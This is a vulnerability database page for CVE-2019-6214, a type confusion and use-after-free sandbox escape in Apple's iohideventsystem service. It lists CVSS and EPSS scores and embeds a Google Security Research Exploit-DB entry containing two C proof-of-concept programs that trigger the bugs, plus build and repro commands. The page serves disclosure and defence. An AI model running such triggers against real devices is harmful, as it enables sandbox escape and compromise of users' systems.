CVE-2019-6214

Score / Severity

8.6

High

EPSS

8.87%V4

Vector

Local

Published

2019-03-05
15h00 +00:00

Modified

2019-03-06
09h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 12.1.3, macOS Mojave 10.14.3, tvOS 12.1.2, watchOS 5.1.3. A malicious application may be able to break out of its sandbox.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-843	Access of Resource Using Incompatible Type ('Type Confusion') The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	8.6	HIGH	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Changed An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	0.96%	–	–	–	–
2021-09-05	–	0.96%	–	–	–
2021-10-10	–	0.96%	–	–	–
2021-10-17	–	0.96%	–	–	–
2021-11-14	–	0.96%	–	–	–
2021-11-21	–	0.96%	–	–	–
2021-12-05	–	0.96%	–	–	–
2022-01-09	–	0.96%	–	–	–
2022-01-16	–	0.96%	–	–	–
2022-02-06	–	–	3.54%	–	–
2022-02-13	–	–	3.54%	–	–
2022-04-03	–	–	2.92%	–	–
2022-09-11	–	–	2.92%	–	–
2023-03-12	–	–	–	0.2%	–
2023-07-02	–	–	–	0.2%	–
2023-11-05	–	–	–	0.2%	–
2023-12-03	–	–	–	0.2%	–
2023-12-17	–	–	–	0.2%	–
2024-01-28	–	–	–	0.23%	–
2024-02-11	–	–	–	0.23%	–
2024-03-03	–	–	–	0.28%	–
2024-03-31	–	–	–	0.28%	–
2024-06-02	–	–	–	0.28%	–
2024-08-25	–	–	–	0.28%	–
2024-09-22	–	–	–	0.28%	–
2024-10-13	–	–	–	0.28%	–
2024-12-22	–	–	–	0.6%	–
2025-02-09	–	–	–	0.6%	–
2025-01-19	–	–	–	0.6%	–
2025-02-16	–	–	–	0.6%	–
2025-03-18	–	–	–	–	8.87%
2025-03-18	–	–	–	–	8.87,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	61%
2021-10-10	6%
2021-10-17	61%
2021-11-14	62%
2021-11-21	61%
2021-12-05	62%
2022-01-09	25%
2022-01-16	26%
2022-02-06	66%
2022-02-13	67%
2022-04-03	82%
2022-09-11	83%
2023-03-12	56%
2023-07-02	57%
2023-11-05	58%
2023-12-03	57%
2023-12-17	58%
2024-01-28	61%
2024-02-11	6%
2024-03-03	67%
2024-03-31	68%
2024-06-02	68%
2024-08-25	69%
2024-09-22	68%
2024-10-13	69%
2024-12-22	78%
2025-02-09	79%
2025-01-19	78%
2025-02-16	79%
2025-03-18	92%
2025-03-18	92%

Exploit information

Exploit Database EDB-ID : 46298

Publication date : 2019-01-30 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding this service. com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app sandbox on iOS. It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects on which actions should be performed. There is insufficient checking that the types are correct; so far as I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection but is in fact reading out of bounds.) There's also what looks like a regular memory safety issue in _io_hideventsystem_unregister_record_service_changed_notification. This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to _IOHIDEventSystemConnectionUnregisterRecordServiceChanged. This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem, passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it. The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references on that object... The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice. You should enable guard malloc for the service to more easily see what's going on. Tested on MacOS 10.14.1 (18B75) // ianbeer // build: clang -o hidcrasher hidcrasher.c -framework IOKit // repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc // then either manually kill hidd or run the PoC twice so that the second time you can more clearly observe the UaF #if 0 iOS/MacOS Sandbox escapes due to type confusions and memory safety issues in iohideventsystem It's possible that this should be two separate issues but I'm filing it as one as I'm still understanding this service. com.apple.iohideventsystem is hosted in hidd on MacOS and backboardd on iOS. You can talk to it from the app sandbox on iOS. It uses an IOMIGMachPortCache to translate between ports on which messages were received and CF objects on which actions should be performed. There is insufficient checking that the types are correct; so far as I can tell all the io_hideventsystem_* methods apart from io_hideventsystem_open expect to be called on a "connection" port, but that's not enforced. Specifically, the service port is put in the cache mapped to an IOHIDEventServer object, and each connection is put in mapped to IOHIDEventSystemConnection objects. Note that the service IOMIG port can demux the whole hideventsystem service (all the methods.) This seems to lead to a lot of type confusion issues (eg places where the code is trying to read a bitmap of entitlements possessed by the connection but is in fact reading out of bounds.) There's also what looks like a regular memory safety issue in _io_hideventsystem_unregister_record_service_changed_notification. This converts the port its called on to an object via IOMIGMachPortCacheCopy then passes that to _IOHIDEventSystemConnectionUnregisterRecordServiceChanged. This reads an object pointer from +0x10, which for both an IOHIDEventServer and IOHIDEventSystemConnection is an IOHIDEventSystem, passes that to _IOHIDEventSystemUnregisterRecordServiceChanged and then calls CFRelease on it. The problem is that this CFRelease call isn't balanced by a CFRetain, so each call to this just lets us arbitrarily drop references on that object... The PoC for this issue is trivial, just connect to the service and call io_hideventsystem_unregister_record_service_changed_notification twice. You should enable guard malloc for the service to more easily see what's going on. Tested on MacOS 10.14.1 (18B75) #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <servers/bootstrap.h> kern_return_t io_hideventsystem_unregister_record_service_changed_notification( mach_port_t service_connection); int main(int argc, char** argv) { kern_return_t err; // connect to the com.apple.iohideventsystem service mach_port_t service_port = MACH_PORT_NULL; err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port); if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) { printf("failed to lookup service\n"); exit(EXIT_FAILURE); } printf("got service port: 0x%x\n", service_port); for (int i = 0; i < 10; i++) { io_hideventsystem_unregister_record_service_changed_notification(service_port); } return 0; } */ / ianbeer // build: clang -o hid_typeconfusion hid_typeconfusion.c -framework IOKit -framework CoreFoundation // repro: enable guard malloc for hidd: sudo launchctl debug system/com.apple.hidd --guard-malloc // then kill hidd so it restarts with guard malloc enabled #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <servers/bootstrap.h> #include <CoreFoundation/CoreFoundation.h> kern_return_t io_hideventsystem_create_virtual_service( mach_port_t connection, void* desc, uint32_t desc_len, uint64_t* id_out); extern uint32_t _IOHIDSerialize(CFTypeRef obj, mach_vm_address_t* out); int main(int argc, char** argv) { kern_return_t err; /* connect to the com.apple.iohideventsystem service */ mach_port_t service_port = MACH_PORT_NULL; err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port); if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) { printf("failed to lookup service\n"); exit(EXIT_FAILURE); } printf("got service port: 0x%x\n", service_port); /* need a dictionary */ CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDictionaryAddValue(dict, CFSTR("key"), CFSTR("value")); mach_vm_address_t out_ptr = 0; uint32_t size = _IOHIDSerialize(dict, &out_ptr); CFRelease(dict); uint64_t id_out = 0; err = io_hideventsystem_create_virtual_service(service_port, (void*)out_ptr, size, &id_out); return 0; }